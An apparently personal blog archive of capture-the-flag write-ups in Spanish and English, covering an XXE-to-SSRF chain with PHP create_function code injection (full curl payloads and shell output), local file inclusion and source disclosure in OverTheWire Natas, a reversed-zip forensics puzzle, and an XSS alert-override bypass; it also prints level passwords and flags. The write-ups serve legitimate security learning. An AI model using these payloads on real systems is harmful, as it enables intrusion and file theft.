Archivo de la etiqueta: ctf

FireShell CTF 2019 – Bad Injections (WEB)

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:
http://68.183.31.62:94

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

<div class='ui center aligned container'>
  <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/>
  <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="500"/>  
</div>

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1bb22b4f57172b019d
And the result is:
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211
The Routes.php file is huge but there are two route functions that seems interesting
Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4
http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f
http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691
http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27
http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

$order = id, null) && die(shell_exec('ls -la /')); ($aaa="

The original piece of code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

When I replace the $order variable with my payload the final code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=",$b->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=");')); 

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2197  100  1892  100   305   6348   1023 --:--:-- --:--:-- --:--:--  7347
total 116
drwxr-xr-x   1 root root 4096 Dec 26 18:10 .
drwxr-xr-x   1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x   1 root root    0 Dec 25 23:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 25 23:50 app
drwxr-xr-x   1 root root 4096 Dec  4 15:47 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
-rwxr-xr-x   1 root root 1122 Feb 15  2016 create_mysql_admin_user.sh
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 331 root root    0 Dec 25 23:47 proc
drwx------   1 root root 4096 Dec 26 18:10 root
drwxr-xr-x   1 root root 4096 Feb 15  2016 run
-rwxr-xr-x   1 root root  549 Feb 15  2016 run.sh
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
-rwxr-xr-x   1 root root   67 Feb 15  2016 start-apache2.sh
-rwxr-xr-x   1 root root   29 Feb 15  2016 start-mysqld.sh
dr-xr-xr-x  13 root root    0 Jan 26 19:06 sys
drwxrwxrwt   1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

CTF OverTheWire: Natas7

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas7.

Natas Level 6 → Level 7
Username: natas7
URL:      http://natas7.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Inspeccionamos el código fuente de la pagina y observamos un par de cosas interesantes:

Vemos dos hypervinculos (index.php?page=home y index.php?page=about) y un comentario que dice:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

Dependiendo el valor del parámetro page el contenido de la pagina cambia, todo apunta a que estamos ante una vulnerabilidad de tipo Local File Inclusion, escribimos texto aleatorio solo para verificar la vulnerabilidad.

Efectivamente podemos ver la ruta del archivo php en el servidor (path disclosure), debido a esta vulnerabilidad podemos leer cualquier archivo al que el usuario que ejecuta el servidor web tenga acceso, por ahora solo nos centraremos en obtener la bandera del reto con http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

La bandera para acceder a natas8 es DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

En este reto aprovechamos un fallo de seguridad llamado Local File Inclusion, con el que es posible leer otros archivos que no son accesibles directamente en el servidor.

Happy hacking 🙂

CTF OverTheWire: Natas6

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas6.

Natas Level 5 → Level 6
Username: natas6
URL:      http://natas6.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Es solo un formulario donde nos piden ingresar una contraseña o secreto, al introducir cualquier cosa obtenemos un mensaje de error.

En la misma pagina hay un enlace que dice view sourcecode (ver código fuente), damos clic y veremos lo siguiente.

La parte importa es:

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Es un código php muy sencillo, podemos ver que obtiene un parámetro via POST (el que enviamos mediante el formulario) y lo compara con la variable $secret, ademas hace include de un archivo interesante includes/secret.inc

Accedemos a ese archivo usando el navegador.

Y utilizamos el secret que acabamos de descubrir en el formulario inicial.

La bandera para acceder a natas7 es 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

En este reto aprovechamos un fallo de seguridad llamado Source code disclosure, en donde tenemos acceso a código que solo debería ser consumido del lado del servidor.

Happy hacking 🙂

Security Fest #CTF – Zion write up

Para este reto nos daban un archivo comprimido zion.tar.gz, procedemos a descomprimirlo y obtenemos otro archivo llamado YouKnow.

El archivo no tiene extension pero utilizamos el comando file para ver que tipo de archivo es.

Parece un archivo de Microsoft Word Office y sabemos que los archivos docx en realidad son archivos en formato zip.

Procedemos a descomprimir YouKnow

Obtenemos varios archivos y carpetas, comenzamos a analizarlos de uno por uno, sin embargo no encontramos nada que haga referencia a la bandera del reto. (analice la imagen del conejo con un par de herramientas de esteganografía pero no había nada)

Damos un paso atrás y abrimos el archivo YouKnow en un editor hexadecimal de su elección, you utilice Sublime

Observamos la cabecera estándar PK del formato ZIP

Al ir analizando el archivo, hacia el final, algo salta inmediatamente a la vista.

Parece que hay otro archivo Zip concatenado al primero pero los bytes están en orden inverso (observen como el archivo termina en KP, y vemos algunos strings como lmx que seria xml).

Podemos utilizar python para invertir los bytes del archivo fácilmente.

open('YouKnow_reversed','wb').write(open('YouKnow','rb').read()[::-1])

Obtenemos el archivo con los bytes invertidos y procedemos a descomprimirlo.

Obtenemos nuevamente varios archivos y carpetas.

Y en donde estaba la imagen anterior del conejo rojo ahora encontramos otra imagen, esta vez de un conejo azul que nos muestra la bandera del reto 🙂

La bandera del reto es sctf{m41nfr4m3_4cc3ss_c0d3_1337_4lw4s}

Bonus

Programe una pequeña herramienta en python llamada reverse bytes para invertir los bytes de un archivo utilizando una cli mas amigable.

usage: rbytes.py [-h] [-o OUTFILE] infile

A simple python script for reverse the bytes of a file.

Author: Lenin Alevski Huerta Arias
Year: 2018

positional arguments:
  infile                Input file

optional arguments:
  -h, --help            show this help message and exit
  -o OUTFILE, --outfile OUTFILE
                        Output file

Happy hacking 🙂

Security Fest #CTF – Excess write up (XSS)

Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.

Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link

Por mi parte estoy listo para participar en Viettel Mates CTF 2018 este fin de semana 🙂 y el 23 de junio en Google Capture The Flag 2018 (Quals)

Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolví tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.

El CTF tenia tematica de The Matrix, kudos por eso!

Security Fest CTF Excess – Web Challenge

Excess fue uno de los primeros retos de la categoría web, en las instrucciones se nos daba un link a una pagina web y al entrar veíamos la siguiente pantalla.

Las instrucciones son bastante claras, tenemos que encontrar un XSS en el sitio y hacer que muestre un alert, después mandar la URL con nuestro payload y reclamar la bandera.

Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.

Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.

Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.

En el parámetro xss enviamos:

/?xss=<strong>hello';alert(1);//</strong>

Y el código se va a inyectar de la siguiente forma:

...
..
<div class="container">
  <script>var x ='hello';alert(1);//; var y = `hello';alert(1);//; var z = "hello';alert(1);//;</script>
  <div class="row main">
       <div class="form-header header">
...
..

Nuestro payload se inyecta 3 veces, pero no importa puesto que después del primer // todo el resto del código quedara comentado. En el sitio web vemos la siguiente alerta.

¿Qué?, ¿Cómo?, ¿Cuándo? xd nosotros inyectamos un alert no un prompt, inspeccionando el código fuente del sitio mas a detalle y observamos que hay un script que se esta llamando antes de que inyectemos nuestro código.

<script src="/static/no_alert_for_you.js"></script><section class="login-info">

Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.

/*

        If there is no alert,
        	how can there be XSS?
                      /
                     /
            )            (
           /(   (\___/)  )\
          ( #)  \ ('')| ( #
           ||___c\  > '__||
           ||**** ),_/ **'|
     .__   |'* ___| |___*'|
      \_\  |' (    ~   ,)'|
       ((  |' /(.  '  .)\ |
        \\_|_/ <_ _____> \______________
         /   '-, \   / ,-'      ______  \
b'ger   /      (//   \\)     __/     /   \
                            './_____/

*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));

Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.

Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.

Después de investigar un buen rato encontré varios artículos que describen esta técnica (override de funciones nativas) para mitigar ataques de XSS, sin embargo esto no soluciona el problema debido a la misma naturaleza del lenguaje Javascript, a continuación muestro como creando un elemento iframe, que tiene una instancia nueva y sin modificar del objeto Window, es posible ejecutar las funciones nativas originales.

var iframe = document.createElement('iframe'); // creamos un nuevo iframe
iframe.src = '';
iframe.style.display = 'none';
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original
alert(1); // Ejecutamos el alert original

Armamos nuestro payload y lo inyectamos en el parámetro xss.

/?xss=hello%27;var%20iframe=document.createElement(%27iframe%27);iframe.src=%27%27;iframe.style.display=%27none%27;document.body.appendChild(iframe);window.alert=iframe.contentWindow.alert;alert(1);//

Y veremos el alert original en la pantalla, enviamos la URL con nuestro payload y obtenemos la bandera de este reto.

Happy hacking 🙂